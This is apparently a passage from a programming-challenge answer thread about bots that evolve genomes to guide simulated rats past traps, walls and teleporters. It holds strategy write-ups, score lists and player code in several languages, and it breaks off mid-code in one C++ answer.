244282 1 1 1897515 3957343 46 1 134481 1 1 2041785 3 1 37593 163173 1565457 3 1026885 1 34530 4655639 2 18 1940645 1550444 593209 1 2270700 706918 1 1 610113 9 1287883 3 1472134 1998685 1916822 1 296017 2 1 1737607 4155665 1510560 553342 56130 14436 13240604 4025888 1 4253261 174177 2043316 504151 2370989 420666 155232 1 219327 3752236 130062 571247 24 1 29015 31392 1020196 3 1117502 460873 7 1 228 8 133656 1 147008 1 93471 1 1 1 513410 4834094 1 14 1875636 182714 1504903 95263 4418053 1 357853 1135536 3698641 3 239316 4237884 131730 3878724 2158931 55650 1906785 1 26372 32 99217 1645677 379838 1 450352 7329657 112909 1 897980 2114198 308917 126215 1 53839 539997 238036 2 2270000 5 2388928 1668820 519153 58227 347528 1 1 2339954 10 5 2031341 54 2341529 2189774 112731 1 21918 748662 2068921 2 2232504 2923457 97740 3858 16604 398940 388755 1875003 667810 53633 315866 839868 1 7 1 14238 185 4 14 1 2 178947 1965719 398323 120849 48 1397222 961772 34124 2 160652 1 252629 246554 14529 1 299866 135255 490837 2863773 8 10 2 1906405 57 9782 118940 870003 255097 6 4187677 50965 3354376 17611 1804789 183601 158748 1539773 116107 77684 34738 2862836 1 2081903 727739 50328 2740070 17 923524 18 3089706 3144082 1 20 205247 347420 2076952 3725220 39270 2 15 49329 422629 5 1693818 2570558 2146654 1 5 129085 653766 47438 102243 389910 59715 21769 1246783 361571 4 120502 255235 1314165 3 3 5 2902624 76351 3117137 174413 2546645 14534 166054 1013583 1 1 2 9 3027288 3173742 338261 94929 1071263 4659804 1 506576 42798 4 984508 1 4 4 1 18541 7 1 269761 188905 2 1 92011 147031 677955 27484 1291675 2420682 99970 57943 1 4081062 1 250953 704904 4 349180 4273479 30528 2092508 2352781 3700946 1 77799 328993 3684623 3930179 1250080 1975798 54981 1621677 91664 1355832 1084049 721612 56950 197563 246868 5031 1 924076 1328694 58562 1 457662 2445958 1345169 957845 1056809 2485300 1687907 199029 3 9474 86928 1 2419980 3585265 570673 1 1514184 437383 1596697 29709 199606 126031 2 1541777 1 3 2090249 2402438 15 19 1423959 28 37852 4 1652596 1 405512 52 3 1948029 1 2 376 1155902 3 631665 3741991 57673 284026 424787 1 11569 5 1200313 1 20 2360854 1 119994 3889143 673424 797763 1 1 144306 1007659 1231874 75607 1 15 66187 8763 21366 146277 2684501 4458542 162223 3 1 5 94232 3036009 401312 19775 510737 3305062 58905 125783 274094 3089988 118483 1 106213 1 1289180 127905 30 528859 2 1215596 1955900 30 2236528 218643 1 2396631 1598175 1148688 452064 1 1840394 198540 1 1307187 107463 341396 2684981 9602 536871 1 148107 4068 4918434 1 2430254 2066144 88915 3585780 6464 259394 3098337 49601 42 79205 925658 1 2513666 26817 2738302 1 28 345735 5086930 361294 505662 386194 1103890 2653001 412247 4074274 2217918 1 519433 1338570 4289317 140138 18 2519983 168656 4546204 8 1 76545 511580 979214 9318 210013 50508 40 152908 17969 922507 1 7 32 1 388579 1 49886 13319 1066048 4663 27883 38419 1418098 2538216 1 778734 3556791 490764 666880 22746 5666164 4 20 1806284 21142 1 527906 2 12417 182224 49536 105029 206917 2427623 294247 1405136 321480 354137 84225 50 128073 1391176 352835 26074 91159 34229 237942 1 1519676 1 2428669 272681 148689 528951 560736 1 3548197 3833513 1438699 286613 1 1290904 47145 3456135 249648 277045 1012397 271073 1 6 149276 94843 11 177134 32336 2772732 7 22 37065 1 105299 76735 44 2211334 511942 30639 522056 5162 1899842 74 1 1448039 1 88817 21 1027532 555416 1 364383 1335609 167332 283252 49564 220972 1006800 3108886 801258 265596 61651 1 2413276 252747 416606 960925 54 311956 267135 3871698 22581 8978 2 10 1966155 3123429 28 46409 1 18433963725323 1769396 114766 49071 1 1 4228762 3483932 1139490 602592 2700468 770273 3 1 1 212087 281247 27093 156094 286299 1204001 18374 1 330780 1 1 25384 906728 99334 1250819 2161201 34 1027892 1 33449 2 129787 52246 94872 1536841 23470 1 1700323 1 1 3785351 1 95315 1014155 56570 22586 66842 7 156840 48752 1 3143722 1 1168309 2 4 101423 385892 42868 2893851 7 1783109 217499 24 460497 2003214 180135 3503010 131137 2 5240 1621601 2754811 11198 1 1 1105643 1 1671021 3 139611 18268 107229 44582 2211034 1 2880152747163 231008 262504 1 257760 1 1 52992 804418 2 2 4811272 1772250 3 1796530 1918647 1 1934549 1 100550 3448657 1681262 3 604526 320865 1901079 556908 2794800 2472000 637735 123663 1 3213187 118199 2553610 1 1750628 2563806 1 1670872 1 999609 50200 654831 1 164612 2865759 1841739 9 3744159 1331395 3202501 1 7 1 1 239868 1 1 581984 112413 401 1 29656 359367 74532 27226 51752 2583 1 645443 1559731 1 114195 1 85473 229474 111353 1 1521653 1 2568733 444398 2593568 18546 1 158085 1211147 1020006 23407 42514941388799 158442 1 1660358 5 34874 1594789 1551270 386464 502417 32280 170606 1954278 72486 3406066 11 52896 345631 4010742 33307 1951926 1441325 1886066 1 3 402778 3089364 351 28028 4301364 1 431569 5 3054030 375986 404966 1 449317 1230292 1 7 763949 1 2 3197443 1537806 335317 2 1 161263 1 1959902 1664530 139136 447570 1 1 50 158825 222939 1842131 11252 1680094 1017889 71 144808 1 53679 1 41278 1226724 1 1 2 10 2 1 112451 42133 1406662 1 112593 2 2832116 1544488 3579017 3029492 2752014 6 255091 731329 540861 1 426725 440330 212602 202358 173553 4 1189793 11031 84073 2084554 3963 1473295 1 642570 1 1423688 34509 75056 163273 490193 3200250 451777 157797 4156542 2386299 2794795 2735308 1332758 1193296 1131014 1001570 414257 4415511 4 3 1 3499595 536583 16731 93839 92382 1 45890 1 17695 8 867246 18 1607123 3197052 5 40009 1 329895 3497309 2416600 2316390 11 118179 2166659 2 136426 76762 2 14 2 3632525 214889 6 3900942 270409 230143 120414 417489 16706 1563597 31418 2 73 468763 88585 428274 3537347 2 1 491461 2806485 1 7 2950804 115684 4 1 429002 85771 2480 285541 186486 1 1 2430862 6 9 4 1833423 17143 353689 2568741 408890 2929237 208679 2198380 1 2501053 1933666 180843 1 1 2569886 1 17035 3449472 71357 246257 217898 1 47601 589824 401679 362878 13178 34464 1076419 1 554417 1 21248 2136449 1068 23029 8 766649 4 302879 274751 19 1 390259 1899931 233910 1392272 184492 2 2752059 55813 1 6 64674 205205 595508 1714309 582492 4821971 63973 1708726 189200 4548446 479425 2866037 1 1 1 2139319 1 1 3 1572621 2086152 2341038 1 619612 1 78942 772466 18932 1404368 936790 2263929 230200 3009227 251065 835010 88225 642856 824193 5559048 1 36348 2338046 481447 108132 2728223 3539009 1 197164 181408 171634 2172263 2317332 1598340 1318829 1746303 7 59657 1 1415452 122924 915828 1063890 40339 430186 4 2165185 2250922 704568 85138 4417453 255 326360 33541 3 49759 72127 912537 599665 1 29169 168741 349838 996835 1548193 2 28449 803521 4 2 2 3359043 3243259 1 491574 1675000 186105 3203018 11 39127 959876 334480 873131 70262 137080 1076591 1 2155613 74804 893022 2473922 1 1 269835 5 2407308 3 55200 905207 1 1 1245609 65934 7 1372126 530582 1383562 1 1 2718341 1 3947638 4 76837 412551 11 1 1 1208080 3024670 277 46485 1 9 562183 46 2985858 3379885 67816 1896527 1 105478 2035453 3026415 1 189256 2992616 2098002 1099666 775250 5913 13 406948 166773 1 322250 41919 480047 64950 17435 2147428 2336270 3330243 352709 86029 1398723 106236 312951 1 408211 252689 847088 2 17 34088 13128 187366 2 1559482 2349010 1651122 2371088 401005 1715445 1 29483921 1464444 50228 2365851 1651636 768715 226704 23677 83501 1 252623 444628 34 3640316 3602127 45369 1 1 1978261 1 3019189 1 25411 2177552 192839 191146 293712 3840622 182598 4069200 175757 1 2250458 4 1 7 2740824 2753005 1 2836428 1 12 19 2 1788326 3302198122211 3386546 1176663 20847 28 1194294 794665 2630378 13624 722012 2273872 1549353 1 3 1735700 1668388 416 970581 258382 295427 1 121571 3193610 3764806 1 368985 20436 89411 3 16130 2 241879 1 2996216 136958 2382095 510146 1762872 1372194 4215387 346915 4423 1 904153 2004500 248495 836598 3529163 27 2547535 1424181 1885308 1 1056747 289743 176929 2299073 170473 1 1 839941 12382 51457 608526 1684239 4843522 34550 929855 2767014 2979286 1 340808 184830 131077 57298 63854 381689 201998 1715328 118687 69190 123466 1 2 69392 159797 382756 1513430 2506318 457 1 Geometric mean score: 10983.8 in 31214 seconds ``` I switched to g++/MinGW and 3 threads. The code generated by GNU is more than twice as fast as Microsoft's. No wonder, what with their appalling STL implementation. ## Teleporters Teleporter effect is highly position-dependent. Until now I was happy to consider a teleporter either as always good (seen as an empty space) or always bad (seen as a wall so that no rodent would ever take it). This is too coarse a model. A given teleporter can propell a rat forward until a few cells from the goal, but once there the same teleporter can cast the rat off the board. Such a teleporter will very likely be recognized as passable (since it increases fitness faster than when "walking" to the same x location), become part of the dominant genome and kill nearly all rats that trust it as "always safe". Since the rats have no means of knowing their X position, the only solution to detect these treacherous teleporters is to decide whether to step on them based on the only contextual data available, i.e. the 5x5 color grid. To do so, I defined 4 types of color genes: * **danger** trap detector * **empty** passable anywhere on the track * **block** forbidden anywhere on the track * **beam** seen as *empty* or *block* depending on the surroundings The idea is to try to distinguish a teleporter by looking at its immediate 8 neighbours. Since the probability of having 8 identical neighbours at a given location is very low, that should allow to identify a unique instance of each teleporter. The 8 neighbouring colors can be combined to form a local signature, which is invariant respective to the position in the labyrinth. Unfortunately, the 8 neighbours are only visible for cells located within the 3x3 field of vision inner square, so signatures will be inaccurate on the rim of the field of vision. Nevertheless, this will give us a constant contextual information in the immediate neighbourhood, which is enough to increase probability of navigating teleporters successfully. *beam* genes have a 2 bits variable field. For a given teleporter local signature, there is one chance in four that the *beam* cell will be considered impassable. Each value of the field selects one of these four possibilities. As a result, a *beam* gene mutation on these 2 bits will cycle through 4 possible contextual significations of the color. Besides, the most important colors to guess are still walls and traps. This means we should allow teleporter detection only *after* the rats learned where the walls and traps are. This is done by updating the local signatures only sparringly. The current criterion for updating a local signature is to be in the vincinity of a color identified as a potential teleporter. The coding uses 5 bits per color gene and groups types to free the 3 less significant bits to encode a 0..7 value : * 4 danger * 4 empty * 4 block * 4 beam Each beam gene has 1/4 chance of being considered as a block and 3/4 chances to be considered empty, so 4 beams represent in average 1 block and 3 empty. The average proportion represented by a random spread of 16 colors is thus: * 4 danger * 7 empty * 5 block This mix seems to give the best results so far, but I am not done tweaking it. ## Gene mutability One thing is for certain: the code values chosen to represent gene types are critical. Inverting two values can cost 2000 points or more. Here again the reason why is beyond my maths. My guess is that the probabilities of mutation from one type to another must be balanced, or else, like in a Markow matrix, the cumulative probabilities tend to restrict the values to the subset having the highest incoming transition probabilities. ## Pathing to the rescue Pathing will reduce the number of visited cells dramatically, allowing to test only the most likely to lead to the goal. Thus, not only are some frequent dead ends avoided, but wrong color codes are also much more likely to be discovered earlier on. As a result, convergence time is strongly decreased. However, this does not help solving the maps where the genome is unable to produce a proper representation of the track. ## What to do with morons? After looking visually at the track, I understood why a default strategy that tries to move forward even when there seem to be nothing but walls in front is indeed better than holding back. "walls" can be in reality teleporters that produce so many unfortunate results that the genome maps them as obstacles never to be trod on, but on rare occasions a particular instance of this naughty teleporter can have a positive (or at least non lethal) effect, so taking it instead of moving back increases the chances of finding a path to victory. ## Early convergence It seems to me the mutation rate is a tad bit too low (for my rodents at least). The current 0.01 setting gives a DNA 37% chances to survive the mutation process intact. Changing the parameter to 0.0227 lowers this probability to about 10% > > The mysterious formula is P1 bit mutation = 1-Pwhole genome intact1/100, 100 being the genome bit length. > > > For instance for 10% probability, P1 bit mutation = 1 - 0.11/100 = 0.0277 > > For 5% probability, P = 1 - 0.051/100 = 0.0295 > > Inverting the formula, we find that 0.01 gives a 37% chances of being unchanged by mutation. > > > I re-ran the exact same test (using a fixed sequence of random seeds) with a 10% probability. On a lot of maps, the previous failures turned into (limited) successes. On the other hand, enormous population explosions were fewer (which had the interesting side effect of speeding up computation a lot). Even though the very high scores (one million+) were less common, the number of more successful runs was more than enough to compensate. In the end, the mean rose from 1400+ to about 2000. Setting P to 5%, on the contrary, produced a mean of about 600. I assume the mutation rate was so high that the genome of winning rats devolved too often into less efficient variants. ## How this one works With the added teleporter detectors, the number of failed games (score < 10) dropped significantly. On a 2000 runs trial, there was only 1/3 of failures. The geometric mean only rose from 2900 to 3300, but this number fails to reflect the improvement. Empty colors are frequently guessed as beams and dangers (usually 2 to 5). The genome "uses" these colors to block paths that would get rats into trouble. The genome is pretty good at guessing traps (i.e. once rats become able to reach the goal, colors that represent actual trap detectors are guessed about 90% of the time). It also makes use of the new beam codes for teleporters, though more rarely (probably because the "treacherous" teleporters are less common than traps, and other beam/danger colors evolve to block the path to the last instances of these traitors). Judging by the number of games where a winning genome emerges after 5000 turns or more, I reckon this new breed would benefit greatly from an increased mutation rate. [Answer] # ColorScorePlayer, preliminary score ≈ 22 This is the bot you see at work in the GIF in the challenge. This was our test bot throughout the development phase. It uses the genome to store a quality score for each of the 16 colours. Then it makes the forward move that moves it onto the colour with the best score (and never moves onto `-1`). In case of a tie, a random move between the tying cells is picked. We've ported this player into all controller languages, so it acts as example for how to use them: ### Python ``` class ColorScorePlayer(Player): def __init__(self): Player.__init__(self) self.coords = [Coordinate( 1, 0), Coordinate( 1,-1), Coordinate( 1, 1)] self.n_moves = len(self.coords) def turn(self): max_score = max([self.bit_chunk(6*self.vision_at(c.x, c.y), 6) for c in self.coords if self.vision_at(c.x, c.y)>=0]) restricted_coords = [c for c in self.coords if self.vision_at(c.x, c.y)>=0 and self.bit_chunk(6*self.vision_at(c.x,c.y), 6) == max_score] return random.choice(restricted_coords) ``` ### Ruby ``` class ColorScorePlayer < Player def initialize(rng) super(rng) @coords = [Vector2D.new( 1,-1), Vector2D.new( 1, 0), Vector2D.new( 1, 1)] end def vision_at(vec2d) @vision[vec2d.x+2][vec2d.y+2] end def turn max_score = @coords.map { |c| color = vision_at(c) color < 0 ? -1 : bit_chunk(6*color, 6) }.max restricted_coords = @coords.select { |c| color = vision_at(c) color >= 0 && bit_chunk(6*color, 6) == max_score } restricted_coords.sample(random: @rng) end end ``` ### C++ ``` coord_t colorScorePlayer(dna_t d, view_t v) { const int chunklen = DNA_BITS / N_COLORS; int ymax[3], nmax, smax = -1; for(int y = -1; y <= 1; y++) { if(v(1, y) == OUT_OF_BOUNDS) continue; int score = dnarange(d, v(1, y)*chunklen, chunklen); if(score > smax) { smax = score; nmax = 0; } if(score == smax) ymax[nmax++] = y; } return {1, ymax[v.rng.rint(nmax)]}; } ``` ### C# ``` public static void ColorScorePlayer(GameLogic.IView v, GameLogic.IGenome g, Random rnd, out int ox, out int oy) { ox = 0; oy = 0; var max_score = cspcoords.Where(c => v[c.x, c.y] > -1).Select(c => g.cutOutInt(6 * v[c.x, c.y], 6)).Max(); var restrictedCoords = cspcoords.Where(c => v[c.x, c.y] > -1 && g.cutOutInt(6 * v[c.x, c.y], 6) == max_score).ToArray(); Coord res = restrictedCoords[rnd.Next(restrictedCoords.Length)]; ox = res.x; oy = res.y; } ``` ### Java ``` package game.players; import java.awt.*; import java.util.Map; public class ColorScorePlayer extends Player{ private static final Point[] possibleMoves = {new Point(1, 0), new Point(1, -1), new Point(1, 1)}; @Override public Point takeTurn(String genome, Map<Point, Integer> vision) { int chunkLength = genome.length()/16; int maxSum = -1; Point maxSumMove = possibleMoves[0]; for (Point move: possibleMoves){ if (vision.get(move) == -1){ continue; } int initialPoint = chunkLength*vision.get(move); int sum = 0; for (int i = initialPoint; i < initialPoint + chunkLength; i++){ sum = (sum<<1)+Integer.parseInt(genome.charAt(i)+""); } if (sum > maxSum){ maxSum = sum; maxSumMove = move; } } return maxSumMove; } } ``` The player scores fairly inconsistently. Here are 50 random runs: ``` Scores: 1 1 1132581 3 43542 1 15 67 57 1 11 8 623162 1 1 1 134347 93198 6 1 2 1 1 245 3 1 1 27 1 31495 65897 9 5 1 2 20 2 117715 1 1 1 20 64616 5 38 1 2 1 2 12 ``` [Answer] # ColorFarSeeker, C++ ≈ 74.7 This challenge is really quite fun and simple if you try it. Don't get put off by the long description. Just visit the GitHub and check things out... everything will be much clearer! :) The C++ simulator is highly recommended for its speed. Even after I've finished translating my python program to C++, the python simulation still hasn't stopped. This is an improved variant of the ColorScorePlayer. To make good use of its 5x5 view, it considers moves 2 steps from it using a weighted function. Moves 1 steps ahead of it are given a higher weight, as they have more immediate effect on survival. Move 2 steps ahead are given lower weight. Tries to move forward, but if no safe move seen... then tries sideways... and if all else fails, moves backwards randomly. ``` coord_t colorFarSeeker(dna_t d, view_t v) { #define s(w,x,y) (v(x,y)>-1?((b+dnarange(d,l+m+n*v(x,y),n))*w):0) #define max2(a,b) (((a)>(b))?(a):(b)) #define max3(a,b,c) (max2(a,max2(b,c))) #define push(vec,maxScore,score,x,y) if(score==maxScore&&v(x,y)>-1)vec.push_back({x,y}); #define tryReturn() if(vec.size()){return vec[v.rng.rint((int)vec.size())];}vec.clear(); // Some constants to tweak int k = 4; int l = 3; int m = dnarange(d, 0, l); int n = 4; int b = dnarange(d, l, k) + 10; std::vector<coord_t> vec; // Looks forward for good moves... int upRightScore = s(1,0,-2) + s(1,1,-2) + s(1,2,-2) + s(5,1,-1); int forwardScore = s(1,2,-1) + s(1,2,0) + s(1,2,1) + s(5,1,0); int downRightScore = s(1,0,2) + s(1,1,2) + s(1,2,2) + s(5,1,1); int maxForwardScore = max3(upRightScore,forwardScore,downRightScore); push(vec,maxForwardScore,upRightScore,1,-1); push(vec,maxForwardScore,forwardScore,1,0); push(vec,maxForwardScore,downRightScore,1,1); tryReturn(); // Looks sideways for good moves... int upScore = s(1,-1,-2) + s(1,0,-2) + s(1,1,-2) + s(5,0,-1); int downScore = s(1,-1,2) + s(1,0,2) + s(1,1,2) + s(5,0,1); int maxSideScore = max2(upScore,downScore); push(vec,maxSideScore,upScore,0,-1); push(vec,maxSideScore,downScore,0,1); tryReturn(); // If all else fails, move backwards randomly. // I have tried considering the scores of backmoves, // but it seems worse than just randomly moving backwards. vec.push_back({-1,-1}); vec.push_back({-1,0}); vec.push_back({-1,1}); return vec[v.rng.rint((int)vec.size())]; } ``` **Score:** There are quite a bit of 1's... which can be a tad depressing when you see the console spewing 1 after each other. Like a planet with all the necessities for life, but no signs of advanced rat civilizations... Then the occasional spike. :) Hmm... apparently I was lucky for my 1st batch of runs, getting a geometric of 300+. The scores really do fluctuate quite a bit. But anyway, with more runs of the simulator, it's probably closer to ≈ 74. (Thx feersum for helping me simulate and his blazing fast program) > > Scores from my runs: 6 6 53 1 5 101223 89684 17 2 303418 4 85730 24752 1 1 1 > 3482515 39752 1 59259 47530 13 554321 1 563794 1 1770329 1 57376 1 > 123870 4 1 1 79092 69931 594057 1 69664 59 1 6 37857 1733138 55616 2 1 > 51704 1 254006 4 24749 1 117987 49591 220151 26 4292194 23 57616 72 67 > 1 4 308039 1 1 103 89258 1 286032 1 5 3 1 5 114851 46 143712 5 15 9 80 > 7425 1 1 7 1 108379 70122 97238 1 1 5 2 23 104794 1 10476 59245 1 204 > 1 1 12 1 29641 1 314894 18785 13 1 3 1 1 1 2 526001 1 1 1 27559 29285 > 3 3 128708 70386 30 2 2 1 208531 331 1 2 1 61 114993 1 15 51997 1 2 1 > 146191 1 31 4 3 1 161422 207 1 64 1 1 1 68594 145434 87763 150187 169 > 185518 1 1 1 1 24208 2570 1 1 537 1 1 462284 1 2 55 1 1 1 214365 1 > 40147 2 213952 1 29 3 1 2144435 5 4502444 72111 1 1 1 1 1 774547 > > > [Answer] # Bishop - Python, preliminary score 1.901 The Bishop always moves diagonally so half the board is inaccessible on a given trek across the board, but this does mean fewer potential moves to encode, so each individual bit of the genome can represent a move (the Bishop never retreats). Which bit to refer to is decided based on the 3x3 block of squares ahead (to the right) of the specimen. The best move for a given situation is only ever a single bit mutation away. This bot learns quickly at first, but then often hits a ceiling before reaching the finish, presumably where one of the following two problems occurs: * Two or more parts of the board map to the same bit but require different moves. * Some boards are not passable using only diagonal moves. # Code ``` class BishopPlayer(Player): def __init__(self): Player.__init__(self) self.coords = [Coordinate(1,-1), Coordinate(1, 1), ] self.inputs = [(x,y) for x in (0,1,2) for y in (-1,0,1)] def turn(self): # Move away from out of bounds areas if self.vision_at(0,-1) == -1: return self.coords[1] if self.vision_at(0,1) == -1: return self.coords[0] # Move right, and either up or down based on one bit of the genome bit_to_use = sum(self.vision_at(self.inputs[i][0], self.inputs[i][1] ) * (16 ** i) for i in range(9) ) % 100 return self.coords[self.bit_at(bit_to_use)] ``` Despite these limitations, on rare occasions the Bishop does well, with individual specimens completing several laps of the board each. I had thought that on a given lap a specimen can only move on half of the board (equivalent to only the black squares or only the white squares on a chess board). However, as Martin Büttner pointed out, a teleporter can move a specimen from a black square to a white square or vice versa so on most boards they will not be restricted. *(There are two pairs of matched teleporter types and each has a probability of 0.5 of having an offset that moves a specimen into the other half of the black and white squares. So the probability of a board having only teleporters that restrict the specimen to one half of the board per lap is only 0.25.)* The scores show that the occasional triumphs are interspersed with long periods of falling short of the finish: > > Scores: 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 **11** 1 **2** 1 1 1 1 1 **6** 1 **8** 1 **10** **15** 1 1 **12544** 1 **2** 1 1 1 1 **3** **7554** 1 1 1 1 1 > > > [Answer] # Run-bonus player: Geometric mean 50.35 (5000-game test) This bot scores squares by their individual colors based on a 6-bit section of DNA like the color-score player, but with a different number system. This bot was motivated by the thought that it is rather arbitrary that one of the bits changes the value of the score by 32, while another does so by only 1. It assigns the value n(n+1)/2 to a run of n consecutive 1 bits. Additionally, it adds a randomization mechanism in an attempt to avoid getting stuck. It will make a random forward move with a 1 in 30 chance. For comparison, the color-score player scored 30 to 35 in a couple of 1000-game tests. Interestingly, the color-score player's maximum game score was in the 3-5 million range, while run-bonus' maximum was only 200 thousand. Run-bonus benefits from the logarithmic average scoring system by getting a nonzero score more consistently. Running 5000 games took about 20 minutes with 6 threads on the C++ controller. ``` coord_t runbonus(dna_t d, view_t v) { int ymax[3], nmax, smax = -1; if(!v.rng.rint(30)) { int y; while(!~v(1, y = v.rng.rint(-1, 1))); return {1, y}; } for(int y = -1; y <= 1; y++) { if(v(1, y) == OUT_OF_BOUNDS) continue; int score = 0; int streak = 0; for(int i = 0; i < 6; i++) { if(d[6*v(1,y) + i]) score += ++streak; else streak = 0; } if(score > smax) { smax = score; nmax = 0; } if(score == smax) ymax[nmax++] = y; } return {1, ymax[v.rng.rint(nmax)]}; } ``` [Answer] # StarPlayer | C++ | Score: 162 (based on 500 game run) This player tries to use A\* to find the best way forward. It assigns weights the same way as ColorScorePlayer and tries to pathfind it's way to the right edge of the view. The implementation isn't the prettiest I've ever done but it isn't too slow at least. ``` #include <utility> #define IDX(a,b) a[VIEW_DIST + b.x][VIEW_DIST + b.y] std::pair<coord_t,int> planAhead(int weights[N_COLORS], view_t &v, coord_t target) { bool open[VIEW_DIST*2+1][VIEW_DIST*2+1] = {false}; bool closed[VIEW_DIST*2+1][VIEW_DIST*2+1] = {false}; int f_score[VIEW_DIST*2+1][VIEW_DIST*2+1] = {0}; int g_score[VIEW_DIST*2+1][VIEW_DIST*2+1] = {0}; coord_t came_from[VIEW_DIST*2+1][VIEW_DIST*2+1] = {{0,0}}; open[VIEW_DIST][VIEW_DIST] = true; g_score[VIEW_DIST][VIEW_DIST] = v.rng.rint(5); f_score[VIEW_DIST][VIEW_DIST] = (abs(target.x) + abs(target.y)) * 10; for (;;) { coord_t current{VIEW_DIST+1,0}; for (int x = 0; x < (VIEW_DIST*2+1); x++) for (int y = 0; y < (VIEW_DIST*2+1); y++) if (open[x][y] && (current.x > VIEW_DIST || f_score[x][y] < IDX(f_score,current))) current = {x - VIEW_DIST, y - VIEW_DIST}; if (current.x > VIEW_DIST) return {{1,0}, 1000000}; if (current.x == target.x && current.y == target.y) break; IDX(open,current) = false; IDX(closed,current) = true; for (int dx = -1; dx <= 1; dx++) for (int dy = -1; dy <= 1; dy++) { if (dx == 0 && dy == 0) continue; coord_t tentative{current.x + dx, current.y + dy}; if (abs(tentative.x) > VIEW_DIST || abs(tentative.y) > VIEW_DIST) continue; if (IDX(closed,tentative)) continue; auto color = v(tentative.x, tentative.y); if (color == OUT_OF_BOUNDS) continue; auto tentative_g = IDX(g_score,current) + weights[color]; if (!IDX(open,tentative) || tentative_g < IDX(g_score,tentative)) { IDX(came_from,tentative) = current; auto distance = abs(tentative.x - target.x) + abs(tentative.y - target.y); IDX(f_score,tentative) = tentative_g + distance * 10; IDX(g_score,tentative) = tentative_g; IDX(open,tentative) = true; } } } auto prev = target, current = target; while (current.x != 0 || current.y != 0) prev = current, current = IDX(came_from,current); return {prev, IDX(g_score,target)}; } coord_t starPlayer(dna_t d, view_t v) { const int chunklen = DNA_BITS / N_COLORS; int weights[N_COLORS]; for (int i = 0; i < N_COLORS; i++) weights[i] = dnarange(d, i*chunklen, chunklen); std::pair<coord_t,int> choice{{1,0}, 1000000}; for (int y = -VIEW_DIST; y <= VIEW_DIST; y++) { auto plan = planAhead(weights, v, {VIEW_DIST, y}); if (plan.second < choice.second) choice = plan; } return choice.first; } ``` Sample scores: > > 4 92078 1 10 1 1 3 2 2862314 5 24925 1 3 2 126502 1 24 1097182 39 1 1 1 47728 227625 137944 15 1 30061 1 1 1 3171790 19646 10 345866 1 1 1 829756 425 6699 22 8 1 1 6 6 104889 125608 1 > > > [Answer] # WallGuesser - Scored 113.266 in a 1000 game test **Encoding** I made a really simple 6 bit/color encoding. To decode color[n] * Sum every n'th bit in the genome up to 96 * If the sum score is >=4 then say this square is blocked * If the sum score is <=4 then its final score is 2 ^ of its sum score By spreading the bits for a color throughout the genome I'm increasing the chance that bits from both parents will be used for each color. **Movement** I use a (I'm sure not very efficient) A\* based search to look for the lowest cost path to any of the right edge squares. If a color maps to, "blocked", then it will never be entered by the search. If the search can't find a path it assumes that this rat is not fit to reproduce and tries to end it by moving one to the left. **Reducing the number of unfit rats** Since my genome is effectively guessing about which squares are wall or backward teleporters rats that have no guesses (no colors that map to blocked) are not very fit. To try and remove these rats if no color would be marked as blocked then EVERY color is marked as blocked and the rat will always move one to the left. **TODO** Currently there is no randomness in the behavior so it's easy for rats to get stuck. ``` #include "./gamelogic.cpp" #include <algorithm> #include <set> #include <map> #include <climits> bool operator< (const coord_t &a, const coord_t &b){ if(a.x != b.x){ return a.x < b.x; } else if (a.y != b.y){ return a.y < b.y; } else{ return false; } } bool operator== (const coord_t &a, const coord_t &b){ return (a.x == b.x) && (a.y == b.y); } int coordDistance(const coord_t &a, const coord_t &b){ int xDif = abs(a.x - b.x); int yDif = abs(a.y - b.y); return xDif > yDif ? xDif : yDif; } int coordMinSetDistance(const coord_t &a, const std::set<coord_t> &ends){ int min = INT_MAX; for (auto i : ends){ int cur = coordDistance(a, i); if (cur < min){ min = cur; } } return min; } class ColorMap{ public: view_t *v; int colors[16] = {}; const int Blocked = -1; ColorMap(dna_t &d, view_t *v){ this->v = v; //Decode the genome for (int i = 0; i <= (16*6); i++){ if (d.at(i) == true){ colors[i % 16]++; } } //Encode the result bool guessedWalls = false; for (int i = 0; i < 16; i++){ if (colors[i] >= 4){ colors[i] = Blocked; guessedWalls = true; } else{ colors[i] = pow(2, colors[i]); } } if (guessedWalls == false){ for (auto i : colors){ i = Blocked; } } } int operator() (coord_t pos){ if (abs(pos.x) > VIEW_DIST || abs(pos.y) > VIEW_DIST){ return Blocked; } int value = (*v)(pos.x, pos.y); if (value == OUT_OF_BOUNDS){ return Blocked; } else{ return colors[value]; } } void print(){ int lower = -1 * VIEW_DIST; int upper = VIEW_DIST; for (int y = lower; y <= upper; y++){ for (int x = lower; x <= upper; x++){ std::cout << std::setw(3) << this->operator()({ x, y }); } std::cout << std::endl; } } }; class node{ public: coord_t pos; coord_t cameFrom; int gScore; int minDistance; node(coord_t pos, coord_t cameFrom, int gScore, int minDistance){ this->pos = pos; this->cameFrom = cameFrom; this->gScore = gScore; this->minDistance = minDistance; } int fScore() const{ return gScore + minDistance; }; bool operator< (const node &rhs) const{ return fScore() < rhs.fScore(); } }; class EditablePriorityQueue{ private: //This is reversed so smallest are on top struct lesser{ bool operator()(node *a, node *b) const{ return (*b) < (*a); } }; std::vector<node*> queue; // Use heap functions to maintain the priority queue ourself std::map<coord_t, node*> members; public: EditablePriorityQueue(){}; ~EditablePriorityQueue(){ for (auto &m : members){ delete m.second; } } bool empty(){ return members.empty(); } node *top(){ auto top = this->queue.front(); std::pop_heap(queue.begin(), queue.end(), lesser()); queue.pop_back(); members.erase(top->pos); return top; } void set(coord_t target, coord_t cameFrom, int gScore, int minDistance){ auto targetLocation = members.find(target); //If the target isn't a member add it if (targetLocation == members.end()){ auto *newNode = new node(target, cameFrom, gScore, minDistance); queue.push_back(newNode); std::push_heap(queue.begin(), queue.end(), lesser()); members[target] = newNode; } //The target must be updated else{ auto currentNode = targetLocation->second; if (currentNode->gScore > gScore){ currentNode->gScore = gScore; currentNode->cameFrom = cameFrom; std::make_heap(queue.begin(), queue.end()); //More efficient way to do this? } } } }; std::pair<coord_t, int> pathCost(ColorMap &m, coord_t start, const std::set<coord_t> &ends){ EditablePriorityQueue openSet; std::set<coord_t> closedSet; std::map<coord_t, coord_t> cameFrom; openSet.set(start, start, 0, coordMinSetDistance(start, ends)); while (openSet.empty() == false){ auto current = openSet.top(); closedSet.insert(current->pos); cameFrom[current->pos] = current->cameFrom; //Check if we're done if (ends.count(current->pos) != 0){ //Recover the path coord_t path = current->pos; int finalScore = current->gScore; delete current; while (!(cameFrom[path] == start)){ path = cameFrom[path]; } return{ path, finalScore }; } //Examine current's neighbours for (int x = -1; x <= 1; x++) for (int y = -1; y <= 1; y++){ coord_t neighbour = { current->pos.x + x, current->pos.y + y }; if (x == 0 && y == 0){ continue; } 